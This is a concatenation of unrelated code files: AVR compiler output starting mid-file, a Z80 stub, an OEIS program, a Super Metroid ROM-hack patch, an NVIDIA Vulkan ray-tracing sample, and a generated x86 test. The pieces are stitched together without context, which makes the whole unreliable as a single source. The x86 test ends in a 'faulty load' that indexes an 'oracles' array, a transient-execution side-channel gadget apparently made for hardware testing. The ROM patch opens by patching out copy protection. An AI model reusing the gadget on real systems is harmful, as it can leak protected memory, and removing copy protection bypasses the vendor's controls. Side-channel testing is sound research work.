LDD R31,Y+16+1
SBIW R30,4
STD Y+16,R30
STD Y+16+1,R31
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:3 WORDS
SUBOPT_0x6:
LDD R26,Y+13
LDD R27,Y+13+1
LDD R30,Y+15
LDD R31,Y+15+1
ICALL
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:4 WORDS
SUBOPT_0x7:
LDD R26,Y+16
LDD R27,Y+16+1
ADIW R26,4
CALL __GETW1P
STD Y+6,R30
STD Y+6+1,R31
LDD R26,Y+6
LDD R27,Y+6+1
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:2 WORDS
SUBOPT_0x8:
LDD R26,Y+16
LDD R27,Y+16+1
ADIW R26,4
CALL __GETW1P
STD Y+10,R30
STD Y+10+1,R31
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:1 WORDS
SUBOPT_0x9:
MOVW R26,R28
ADIW R26,12
CALL __ADDW2R15
CALL __GETW1P
RET
.CSEG
_delay_ms:
adiw r26,0
breq __delay_ms1
__delay_ms0:
__DELAY_USW 0x7D0
wdr
sbiw r26,1
brne __delay_ms0
__delay_ms1:
ret
__ADDW2R15:
CLR R0
ADD R26,R15
ADC R27,R0
RET
__ANEGW1:
NEG R31
NEG R30
SBCI R31,0
RET
__LSRB12:
TST R30
MOV R0,R30
MOV R30,R26
BREQ __LSRB12R
__LSRB12L:
LSR R30
DEC R0
BRNE __LSRB12L
__LSRB12R:
RET
__GETW1P:
LD R30,X+
LD R31,X
SBIW R26,1
RET
__GETW1PF:
LPM R0,Z+
LPM R31,Z
MOV R30,R0
RET
__PUTPARD1:
ST -Y,R23
ST -Y,R22
ST -Y,R31
ST -Y,R30
RET
__SAVELOCR6:
ST -Y,R21
__SAVELOCR5:
ST -Y,R20
__SAVELOCR4:
ST -Y,R19
__SAVELOCR3:
ST -Y,R18
__SAVELOCR2:
ST -Y,R17
ST -Y,R16
RET
__LOADLOCR6:
LDD R21,Y+5
__LOADLOCR5:
LDD R20,Y+4
__LOADLOCR4:
LDD R19,Y+3
__LOADLOCR3:
LDD R18,Y+2
__LOADLOCR2:
LDD R17,Y+1
LD R16,Y
RET
;END OF CODE MARKER
__END_OF_CODE:
|
; void *zx_pxy2saddr(uchar x, uchar y)
SECTION code_clib
SECTION code_arch
PUBLIC _zx_pxy2saddr
EXTERN l0_zx_pxy2saddr_callee
_zx_pxy2saddr:
pop af
pop hl
pop de
push de
push hl
push af
jp l0_zx_pxy2saddr_callee
|
; A038760: a(n) = n - floor(sqrt(n)) * ceiling(sqrt(n)).
; 0,0,0,1,0,-1,0,1,2,0,-2,-1,0,1,2,3,0,-3,-2,-1,0,1,2,3,4,0,-4,-3,-2,-1,0,1,2,3,4,5,0,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,0,-6,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,0,-7,-6,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,8,0,-8,-7,-6,-5,-4,-3,-2,-1,0,1,2,3,4,5,6,7,8,9
mov $1,$0
seq $1,38759 ; a(n) = ceiling(sqrt(n))*floor(sqrt(n)).
sub $0,$1
|
; Patch out copy protection
org $008000
db $FF
; Set SRAM size
org $00FFD8
if !FEATURE_SD2SNES
db $08 ; 256kb
else
db $05 ; 64kb
endif
; Enable version display
org $8B8697
NOP
if !FEATURE_PAL
org $8BF6DC
else
org $8BF754
endif
db #$20, #($30+!VERSION_MAJOR)
db #$2E, #($30+!VERSION_MINOR)
db #$2E, #($30+!VERSION_BUILD)
if !VERSION_REV_1
db #$2E, #($30+!VERSION_REV_1)
db #($30+!VERSION_REV_2)
db #$20, #$20
else
if !VERSION_REV_2
db #$2E, #($30+!VERSION_REV_2)
db #$20, #$20, #$20
else
db #$20, #$20, #$20, #$20, #$20
endif
endif
; Fix Zebes planet tiling error
org $8C9607
dw #$0E2F
; Suit periodic damage
org $8DE37C
; Replaced the check and also take one additional byte
; Thus the following logic is the same but shifted down
AND !ram_suits_periodic_damage_check : BNE $29
LDA $0A4E : CLC : ADC #$4000 : STA $0A4E
; We don't have enough space to add the carry bit inline,
; so we need to jump to freespace, but only do that if the carry bit is set
BCC $06
JMP increment_periodic_damage
org $8DFFF1
print pc, " misc bank8D start"
increment_periodic_damage:
{
LDA $0A50 : INC : STA $0A50
JMP $E394
}
print pc, " misc bank8D end"
; We now have three separate periodic damage routines,
; so we need to load an index to jump to the correct routine
org $90E72B
LDA !sram_suit_properties : ASL : PHA
JSR misc_overwritten_movement_routine
; Handle periodic damage based on suit properties
; Overwritten logic will be transferred
org $90E74D
PLA : PHX : TAX
JSR (periodic_damage_table,X)
PLX : NOP : NOP
; Transfer logic here by overwriting redundant end of periodic damage
; Also repoint jump and branch to avoid the redundant section
if !FEATURE_PAL
org $90E9D3
JMP $EA32
else
org $90E9D6
JMP $EA35
endif
if !FEATURE_PAL
org $90EA2A
else
org $90EA2D
endif
BPL $06
; Optimize CPU by overwriting our PLP/RTS
; and skipping over the PHP/REP #$30 in the pause check routine
if !FEATURE_PAL
org $90EA38
else
org $90EA3B
endif
BRA $0B
; Optimize CPU by removing RTS so we go straight to the low health check
if !FEATURE_PAL
org $90EA7B
else
org $90EA7E
endif
NOP
; Turn off health alarm
if !FEATURE_PAL
org $90EA89
else
org $90EA8C
endif
LDA !sram_healthalarm : ASL : PHX : TAX
JMP (healthalarm_turn_off_table,X)
; Turn on health alarm
if !FEATURE_PAL
org $90EA9A
else
org $90EA9D
endif
LDA !sram_healthalarm : ASL : PHX : TAX
JMP (healthalarm_turn_on_table,X)
; Turn on health alarm
if !FEATURE_PAL
org $90F336
JSR $EA9A
else
org $90F339
JSR $EA9D
endif
BRA $02
; Turn on health alarm from bank 91
if !FEATURE_PAL
org $91E63F
else
org $91E6DA
endif
JML healthalarm_turn_on_remote
; Suit enemy damage
if !FEATURE_PAL
org $A0A473
else
org $A0A463
endif
BIT #$0020 : BEQ .checksuit
LSR $12
.checksuit
AND !ram_suits_enemy_damage_check : BEQ .return
LSR $12
.return
LDA $12
RTL
; Suit metroid damage
if !FEATURE_PAL
org $A3EEF4
else
org $A3EED8
endif
LDA #$C000 : STA $12
LDA $09A2 : AND !ram_suits_enemy_damage_check : BEQ .metroidcheckgravity
LSR $12
.metroidcheckgravity
LDA $09A2 : BIT #$0020 : BEQ .metroidnogravity
LSR $12
.metroidnogravity
; Continue vanilla routine
if !PRESERVE_WRAM_DURING_SPACETIME
org $90ACF6
JSR original_load_projectile_palette
org $90AD18
JMP spacetime_routine
endif
; Skips the waiting time after teleporting
if !FEATURE_PAL
org $90E874
else
org $90E877
endif
BRA $1F
; Adds frames when unpausing (nmi is turned off during vram transfers)
; $80:A16B 22 4B 83 80 JSL $80834B[$80:834B]
org $80A16B
JSL hook_unpause
; $82:8BB3 22 69 91 A0 JSL $A09169[$A0:9169] ; Handles Samus getting hurt?
org $828BB3
JSL gamemode_end
; Replace unnecessary logic checking controller input to toggle debug CPU brightness
; with logic to collect the v-counter data
org $828AB1
%a8() : LDA $4201 : ORA #$80 : STA $4201 : %ai16()
LDA $2137 : LDA $213D : STA !ram_vcounter_data
; For efficiency, re-implement the debug brightness logic here
LDA $0DF4 : BEQ .skip_debug_brightness
%a8() : LDA $51 : AND #$F0 : ORA #$05 : STA $2100 : %a16()
BRA .skip_debug_brightness
warnpc $828ADD
org $828ADD ; Resume original logic
.skip_debug_brightness
org $CF8BBF ; Set map scroll beep to high priority
dw $2A97
; $80:8F24 9C F6 07 STZ $07F6 [$7E:07F6] ;/
; $80:8F27 8D 40 21 STA $2140 [$7E:2140] ; APU IO 0 = [music track]
org $808F24
JSL hook_set_music_track
NOP #2
; $80:8F65 8D F3 07 STA $07F3 [$7E:07F3] ;} Music data = [music entry] & FFh
; $80:8F68 AA TAX ; X = [music data]
org $808F65
JML hook_set_music_data
org $90F800
print pc, " misc bank90 start"
hook_set_music_track:
{
STZ $07F6
PHA
LDA !sram_music_toggle : CMP #$01 : BNE .no_music
PLA : STA $2140
RTL
.no_music
PLA
RTL
}
hook_set_music_data:
{
STA $07F3 : TAX
LDA !sram_music_toggle : CMP #$0002 : BEQ .fast_no_music
JML $808F69
.fast_no_music
JML $808F89
}
hook_unpause:
{
; RT room
LDA !ram_realtime_room : CLC : ADC.w #41 : STA !ram_realtime_room
; RT seg
LDA !ram_seg_rt_frames : CLC : ADC.w #41 : STA !ram_seg_rt_frames
CMP.w #60 : BCC .done
SEC : SBC.w #60 : STA !ram_seg_rt_frames
LDA !ram_seg_rt_seconds : INC : STA !ram_seg_rt_seconds
CMP.w #60 : BCC .done
LDA #$0000 : STA !ram_seg_rt_seconds
LDA !ram_seg_rt_minutes : INC : STA !ram_seg_rt_minutes
.done
; Replace overwritten logic to enable NMI
JSL $80834B
RTL
}
gamemode_end:
{
; overwritten logic
if !FEATURE_PAL
JSL $A09179
else
JSL $A09169
endif
; If minimap is disabled or shown, we ignore artificial lag
LDA $05F7 : BNE .endlag
LDA !ram_minimap : BNE .endlag
; Ignore artifical lag if OOB viewer is active
LDA !ram_sprite_features_active : BNE .endlag
; Artificial lag, multiplied by 16 to get loop count
; Each loop takes 5 clock cycles (assuming branch taken)
; For reference, 41 loops ~= 1 scanline
LDA !sram_artificial_lag : BEQ .endlag
; To account for various changes, we may need to tack on more clock cycles
; These can be removed as code is added to maintain CPU parity during normal gameplay
LDA !sram_top_display_mode : CMP !TOP_DISPLAY_VANILLA : BEQ .vanilla_display_lag_loop
LDA !sram_artificial_lag
ASL
ASL
ASL
ASL
NOP ; Add 2 more clock cycles
NOP ; Add 2 more clock cycles
TAX
.lagloop
DEX : BNE .lagloop
.endlag
RTL
.vanilla_display_lag_loop
; Vanilla display logic uses more CPU so reduce artificial lag
LDA !sram_artificial_lag
DEC : BEQ .endlag ; Remove 76 clock cycles
DEC : BEQ .endlag ; Remove 76 clock cycles
ASL
ASL
INC ; Add 4 loops (22 clock cycles including the INC)
ASL
ASL
INC ; Add 1 loop (7 clock cycles including the INC)
TAX
.vanilla_lagloop
DEX : BNE .vanilla_lagloop
RTL
}
stop_all_sounds:
{
; If sounds are not enabled, the game won't clear the sounds
LDA !DISABLE_SOUNDS : PHA
STZ !DISABLE_SOUNDS
JSL $82BE17
PLA : STA !DISABLE_SOUNDS
; Makes the game check Samus' health again, to see if we need annoying sound
STZ !SAMUS_HEALTH_WARNING
RTL
}
misc_overwritten_movement_routine:
; We overwrote an unnecessary JSR, a STZ command, and a jump to the movement routine
STZ $0A6E
JMP ($0A58)
periodic_damage_table:
if !FEATURE_PAL
dw $E9CB ; vanilla routine
else
dw $E9CE ; vanilla routine
endif
dw periodic_damage_balanced
dw periodic_damage_progressive
; Make our minor adjustments and jump back to the vanilla routine
periodic_damage_balanced:
{
PHP : REP #$30
LDA $0A78 : BEQ $03
if !FEATURE_PAL
JMP $EA32
else
JMP $EA35
endif
LDA $09A2 : BIT #$0001 : BNE $03
if !FEATURE_PAL
JMP $EA0E ; Varia not equipped
JMP $E9F9 ; Varia equipped
else
JMP $EA11 ; Varia not equipped
JMP $E9FC ; Varia equipped
endif
}
periodic_damage_progressive:
{
PHP : REP #$30
LDA $0A78 : BEQ $03
; Nothing to do, jump back to vanilla routine
if !FEATURE_PAL
JMP $EA32
else
JMP $EA35
endif
LDA $09A2 : BIT #$0020 : BEQ .nogravity
; Gravity equipped, so halve damage
LDA $0A4F : LSR
PHA : XBA : AND #$FF00 : STA $0A4E
PLA : XBA : AND #$00FF : STA $0A50
.nogravity
LDA $09A2 : BIT #$0001 : BEQ .novaria
; Varia equipped, so halve damage
LDA $0A4F : LSR
PHA : XBA : AND #$FF00 : STA $0A4E
PLA : XBA : AND #$00FF : STA $0A50
.novaria
; Jump back into the vanilla routine
if !FEATURE_PAL
JMP $EA0E
else
JMP $EA11
endif
}
healthalarm_turn_on_table:
dw healthalarm_turn_on_never
dw healthalarm_turn_on_vanilla
dw healthalarm_turn_on_pb_fix
dw healthalarm_turn_on_improved
healthalarm_turn_on_improved:
; Do not sound alarm until below 30 combined health
LDA $09C2 : CLC : ADC $09D6 : CMP #$001E : BPL healthalarm_turn_on_done
healthalarm_turn_on_pb_fix:
; Do not sound alarm if it won't play due to power bomb explosion
LDA $0592 : BMI healthalarm_turn_on_done
healthalarm_turn_on_vanilla:
LDA #$0002 : JSL $80914D
healthalarm_turn_on_never:
LDA #$0001 : STA !SAMUS_HEALTH_WARNING
healthalarm_turn_on_done:
PLX : RTS
healthalarm_turn_off_table:
dw healthalarm_turn_off_never
dw healthalarm_turn_off_vanilla
dw healthalarm_turn_off_pb_fix
dw healthalarm_turn_off_improved
healthalarm_turn_off_improved:
healthalarm_turn_off_pb_fix:
; Do not stop alarm if it won't stop due to power bomb explosion
LDA $0592 : BMI healthalarm_turn_off_done
healthalarm_turn_off_vanilla:
LDA #$0001 : JSL $80914D
healthalarm_turn_off_never:
STZ !SAMUS_HEALTH_WARNING
healthalarm_turn_off_done:
PLX : RTS
healthalarm_turn_on_remote:
if !FEATURE_PAL
JSR $EA9A
else
JSR $EA9D
endif
PLB : PLP : RTL
if !PRESERVE_WRAM_DURING_SPACETIME
original_load_projectile_palette:
{
AND #$0FFF : ASL : TAY
LDA #$0090 : XBA : STA $01
LDA $C3C9,Y : STA $00
LDY #$0000
LDX #$0000
.original_load_palette_loop
LDA [$00],Y
STA $7EC1C0,X
INX : INX : INY : INY
CPY #$0020 : BMI .original_load_palette_loop
RTS
}
spacetime_routine:
{
; The normal routine shouldn't come here, but sanity check just in case
; Also skips out if spacetime but Y value is positive
INY : INY : CPY #$0000 : BPL .normal_load_palette
; Spacetime, sanity check that X is 0 (if not then do the original routine)
CPX #$0000 : BNE .normal_load_palette
; Spacetime, check if Y will cause us to reach WRAM
TYA : CLC : ADC #(!WRAM_START-$7EC1E2) : CMP #$0000 : BPL .normal_load_palette
; It will, so run our own loop
INX : INX
.loop_before_wram
LDA [$00],Y
STA $7EC1C0,X
INX : INX : INY : INY
CPX #(!WRAM_START-$7EC1C0) : BMI .loop_before_wram
; Skip over WRAM and resume normal loop
TXA : CLC : ADC !WRAM_SIZE : TAX
TYA : CLC : ADC !WRAM_SIZE : TAY
CPY #$0020 : BMI .normal_load_loop
RTS
.normal_load_loop
LDA [$00],Y
STA $7EC1C0,X
INY : INY
.normal_load_palette
INX : INX
CPY #$0020 : BMI .normal_load_loop
RTS
}
endif
print pc, " misc bank90 end"
|
/*
* Copyright (c) 2014-2021, NVIDIA CORPORATION. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-FileCopyrightText: Copyright (c) 2014-2021 NVIDIA CORPORATION
* SPDX-License-Identifier: Apache-2.0
*/
// ImGui - standalone example application for Glfw + Vulkan, using programmable
// pipeline If you are new to ImGui, see examples/README.txt and documentation
// at the top of imgui.cpp.
#include <array>
#include "backends/imgui_impl_glfw.h"
#include "imgui.h"
#include "hello_vulkan.h"
#include "imgui/imgui_camera_widget.h"
#include "nvh/cameramanipulator.hpp"
#include "nvh/fileoperations.hpp"
#include "nvpsystem.hpp"
#include "nvvk/commands_vk.hpp"
#include "nvvk/context_vk.hpp"
//////////////////////////////////////////////////////////////////////////
#define UNUSED(x) (void)(x)
//////////////////////////////////////////////////////////////////////////
// Default search path for shaders
std::vector<std::string> defaultSearchPaths;
// GLFW Callback functions
static void onErrorCallback(int error, const char* description)
{
fprintf(stderr, "GLFW Error %d: %s\n", error, description);
}
// Extra UI
void renderUI(HelloVulkan& helloVk)
{
ImGuiH::CameraWidget();
if(ImGui::CollapsingHeader("Light"))
{
ImGui::RadioButton("Point", &helloVk.m_pcRaster.lightType, 0);
ImGui::SameLine();
ImGui::RadioButton("Infinite", &helloVk.m_pcRaster.lightType, 1);
ImGui::SliderFloat3("Position", &helloVk.m_pcRaster.lightPosition.x, -20.f, 20.f);
ImGui::SliderFloat("Intensity", &helloVk.m_pcRaster.lightIntensity, 0.f, 150.f);
}
}
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////
static int const SAMPLE_WIDTH = 1280;
static int const SAMPLE_HEIGHT = 720;
//--------------------------------------------------------------------------------------------------
// Application Entry
//
int main(int argc, char** argv)
{
UNUSED(argc);
// Setup GLFW window
glfwSetErrorCallback(onErrorCallback);
if(!glfwInit())
{
return 1;
}
glfwWindowHint(GLFW_CLIENT_API, GLFW_NO_API);
GLFWwindow* window = glfwCreateWindow(SAMPLE_WIDTH, SAMPLE_HEIGHT, PROJECT_NAME, nullptr, nullptr);
// Setup camera
CameraManip.setWindowSize(SAMPLE_WIDTH, SAMPLE_HEIGHT);
CameraManip.setLookat(nvmath::vec3f(5, 4, -4), nvmath::vec3f(0, 1, 0), nvmath::vec3f(0, 1, 0));
// Setup Vulkan
if(!glfwVulkanSupported())
{
printf("GLFW: Vulkan Not Supported\n");
return 1;
}
// setup some basic things for the sample, logging file for example
NVPSystem system(PROJECT_NAME);
// Search path for shaders and other media
defaultSearchPaths = {
NVPSystem::exePath() + PROJECT_RELDIRECTORY,
NVPSystem::exePath() + PROJECT_RELDIRECTORY "..",
std::string(PROJECT_NAME),
};
// Vulkan required extensions
assert(glfwVulkanSupported() == 1);
uint32_t count{0};
auto reqExtensions = glfwGetRequiredInstanceExtensions(&count);
// Requesting Vulkan extensions and layers
nvvk::ContextCreateInfo contextInfo;
contextInfo.setVersion(1, 2); // Using Vulkan 1.2
for(uint32_t ext_id = 0; ext_id < count; ext_id++) // Adding required extensions (surface, win32, linux, ..)
contextInfo.addInstanceExtension(reqExtensions[ext_id]);
contextInfo.addInstanceLayer("VK_LAYER_LUNARG_monitor", true); // FPS in titlebar
contextInfo.addInstanceExtension(VK_EXT_DEBUG_UTILS_EXTENSION_NAME, true); // Allow debug names
contextInfo.addDeviceExtension(VK_KHR_SWAPCHAIN_EXTENSION_NAME); // Enabling ability to present rendering
// #VKRay: Activate the ray tracing extension
VkPhysicalDeviceAccelerationStructureFeaturesKHR accelFeature{VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_ACCELERATION_STRUCTURE_FEATURES_KHR};
contextInfo.addDeviceExtension(VK_KHR_ACCELERATION_STRUCTURE_EXTENSION_NAME, false, &accelFeature); // To build acceleration structures
VkPhysicalDeviceRayQueryFeaturesKHR rayQueryFeatures{VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_RAY_QUERY_FEATURES_KHR};
contextInfo.addDeviceExtension(VK_KHR_RAY_QUERY_EXTENSION_NAME, false, &rayQueryFeatures);
contextInfo.addDeviceExtension(VK_KHR_DEFERRED_HOST_OPERATIONS_EXTENSION_NAME); // Required by ray tracing pipeline
// Creating Vulkan base application
nvvk::Context vkctx{};
vkctx.initInstance(contextInfo);
// Find all compatible devices
auto compatibleDevices = vkctx.getCompatibleDevices(contextInfo);
assert(!compatibleDevices.empty());
// Use a compatible device
vkctx.initDevice(compatibleDevices[0], contextInfo);
// Create example
HelloVulkan helloVk;
// Window need to be opened to get the surface on which to draw
const VkSurfaceKHR surface = helloVk.getVkSurface(vkctx.m_instance, window);
vkctx.setGCTQueueWithPresent(surface);
helloVk.setup(vkctx.m_instance, vkctx.m_device, vkctx.m_physicalDevice, vkctx.m_queueGCT.familyIndex);
helloVk.createSwapchain(surface, SAMPLE_WIDTH, SAMPLE_HEIGHT);
helloVk.createDepthBuffer();
helloVk.createRenderPass();
helloVk.createFrameBuffers();
// Setup Imgui
helloVk.initGUI(0); // Using sub-pass 0
// Creation of the example
helloVk.loadModel(nvh::findFile("media/scenes/plane.obj", defaultSearchPaths, true));
helloVk.loadModel(nvh::findFile("media/scenes/Medieval_building.obj", defaultSearchPaths, true));
helloVk.createOffscreenRender();
helloVk.createDescriptorSetLayout();
helloVk.createGraphicsPipeline();
helloVk.createUniformBuffer();
helloVk.createObjDescriptionBuffer();
// #VKRay
helloVk.initRayTracing();
helloVk.createBottomLevelAS();
helloVk.createTopLevelAS();
// Need the Top level AS
helloVk.updateDescriptorSet();
helloVk.createPostDescriptor();
helloVk.createPostPipeline();
helloVk.updatePostDescriptorSet();
nvmath::vec4f clearColor = nvmath::vec4f(1, 1, 1, 1.00f);
helloVk.setupGlfwCallbacks(window);
ImGui_ImplGlfw_InitForVulkan(window, true);
// Main loop
while(!glfwWindowShouldClose(window))
{
glfwPollEvents();
if(helloVk.isMinimized())
continue;
// Start the Dear ImGui frame
ImGui_ImplGlfw_NewFrame();
ImGui::NewFrame();
// Show UI window.
if(helloVk.showGui())
{
ImGuiH::Panel::Begin();
ImGui::ColorEdit3("Clear color", reinterpret_cast<float*>(&clearColor));
renderUI(helloVk);
ImGui::Text("Application average %.3f ms/frame (%.1f FPS)", 1000.0f / ImGui::GetIO().Framerate, ImGui::GetIO().Framerate);
ImGuiH::Control::Info("", "", "(F10) Toggle Pane", ImGuiH::Control::Flags::Disabled);
ImGuiH::Panel::End();
}
// Start rendering the scene
helloVk.prepareFrame();
// Start command buffer of this frame
auto curFrame = helloVk.getCurFrame();
const VkCommandBuffer& cmdBuf = helloVk.getCommandBuffers()[curFrame];
VkCommandBufferBeginInfo beginInfo{VK_STRUCTURE_TYPE_COMMAND_BUFFER_BEGIN_INFO};
beginInfo.flags = VK_COMMAND_BUFFER_USAGE_ONE_TIME_SUBMIT_BIT;
vkBeginCommandBuffer(cmdBuf, &beginInfo);
// Updating camera buffer
helloVk.updateUniformBuffer(cmdBuf);
// Clearing screen
std::array<VkClearValue, 2> clearValues{};
clearValues[0].color = {{clearColor[0], clearColor[1], clearColor[2], clearColor[3]}};
clearValues[1].depthStencil = {1.0f, 0};
// Offscreen render pass
{
VkRenderPassBeginInfo offscreenRenderPassBeginInfo{VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO};
offscreenRenderPassBeginInfo.clearValueCount = 2;
offscreenRenderPassBeginInfo.pClearValues = clearValues.data();
offscreenRenderPassBeginInfo.renderPass = helloVk.m_offscreenRenderPass;
offscreenRenderPassBeginInfo.framebuffer = helloVk.m_offscreenFramebuffer;
offscreenRenderPassBeginInfo.renderArea = {{0, 0}, helloVk.getSize()};
// Rendering Scene
{
vkCmdBeginRenderPass(cmdBuf, &offscreenRenderPassBeginInfo, VK_SUBPASS_CONTENTS_INLINE);
helloVk.rasterize(cmdBuf);
vkCmdEndRenderPass(cmdBuf);
}
}
// 2nd rendering pass: tone mapper, UI
{
VkRenderPassBeginInfo postRenderPassBeginInfo{VK_STRUCTURE_TYPE_RENDER_PASS_BEGIN_INFO};
postRenderPassBeginInfo.clearValueCount = 2;
postRenderPassBeginInfo.pClearValues = clearValues.data();
postRenderPassBeginInfo.renderPass = helloVk.getRenderPass();
postRenderPassBeginInfo.framebuffer = helloVk.getFramebuffers()[curFrame];
postRenderPassBeginInfo.renderArea = {{0, 0}, helloVk.getSize()};
// Rendering tonemapper
vkCmdBeginRenderPass(cmdBuf, &postRenderPassBeginInfo, VK_SUBPASS_CONTENTS_INLINE);
helloVk.drawPost(cmdBuf);
// Rendering UI
ImGui::Render();
ImGui_ImplVulkan_RenderDrawData(ImGui::GetDrawData(), cmdBuf);
vkCmdEndRenderPass(cmdBuf);
}
// Submit for display
vkEndCommandBuffer(cmdBuf);
helloVk.submitFrame();
}
// Cleanup
vkDeviceWaitIdle(helloVk.getDevice());
helloVk.destroyResources();
helloVk.destroy();
vkctx.deinit();
glfwDestroyWindow(window);
glfwTerminate();
return 0;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x2c4d, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
dec %r15
movw $0x6162, (%rcx)
nop
nop
nop
sub $63444, %rax
lea addresses_D_ht+0x1cc4d, %rsi
clflush (%rsi)
nop
nop
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
and $0xffffffffffffffc0, %rsi
movntdq %xmm5, (%rsi)
nop
nop
nop
nop
add $1521, %r15
lea addresses_WC_ht+0xd70d, %rcx
xor %r14, %r14
vmovups (%rcx), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rdx
nop
and $50084, %rax
lea addresses_WC_ht+0x1a0cd, %rcx
nop
and $48596, %rsi
mov $0x6162636465666768, %r15
movq %r15, %xmm7
vmovups %ymm7, (%rcx)
add %r14, %r14
lea addresses_UC_ht+0x1420d, %r12
clflush (%r12)
xor %rsi, %rsi
and $0xffffffffffffffc0, %r12
movaps (%r12), %xmm6
vpextrq $1, %xmm6, %rcx
nop
nop
nop
sub $17403, %r14
lea addresses_WC_ht+0x19729, %rsi
lea addresses_A_ht+0x1404d, %rdi
nop
cmp $48254, %rdx
mov $0, %rcx
rep movsw
and $29770, %r14
lea addresses_WC_ht+0x17c4d, %rsi
nop
dec %rcx
movw $0x6162, (%rsi)
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x1c04d, %r14
nop
nop
xor %r12, %r12
movw $0x6162, (%r14)
sub $5543, %rdi
lea addresses_UC_ht+0x15c4d, %rsi
lea addresses_UC_ht+0x194d, %rdi
and $10704, %rdx
mov $60, %rcx
rep movsl
sub %r15, %r15
lea addresses_WC_ht+0x1244d, %rsi
lea addresses_A_ht+0x15bcd, %rdi
clflush (%rsi)
xor %rdx, %rdx
mov $44, %rcx
rep movsw
nop
nop
nop
nop
nop
xor %r12, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WT+0xa84d, %rdx
add $49299, %r11
mov $0x5152535455565758, %r12
movq %r12, %xmm1
movups %xmm1, (%rdx)
nop
nop
nop
nop
nop
inc %r11
// REPMOV
lea addresses_UC+0x11c4d, %rsi
lea addresses_WT+0x1d135, %rdi
clflush (%rdi)
nop
nop
nop
and %r9, %r9
mov $89, %rcx
rep movsw
nop
nop
xor %rax, %rax
// Store
mov $0xa7d, %r11
nop
sub %rdx, %rdx
movw $0x5152, (%r11)
nop
nop
nop
nop
cmp %rsi, %rsi
// Store
lea addresses_D+0x544d, %rdx
add $28829, %r9
mov $0x5152535455565758, %rax
movq %rax, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
nop
nop
and $6909, %r9
// Load
lea addresses_PSE+0x160ad, %r12
xor %rcx, %rcx
movups (%r12), %xmm3
vpextrq $1, %xmm3, %rdi
nop
nop
cmp %rcx, %rcx
// Store
lea addresses_A+0xe04d, %r9
nop
nop
nop
nop
and $63353, %rax
movw $0x5152, (%r9)
nop
nop
nop
cmp $57458, %r9
// Faulty Load
lea addresses_US+0x1b44d, %r11
nop
sub $30238, %rax
mov (%r11), %cx
lea oracles, %rdx
and $0xff, %rcx
shlq $12, %rcx
mov (%rdx,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_UC', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}}
[Faulty Load]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 16, 'NT': True, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
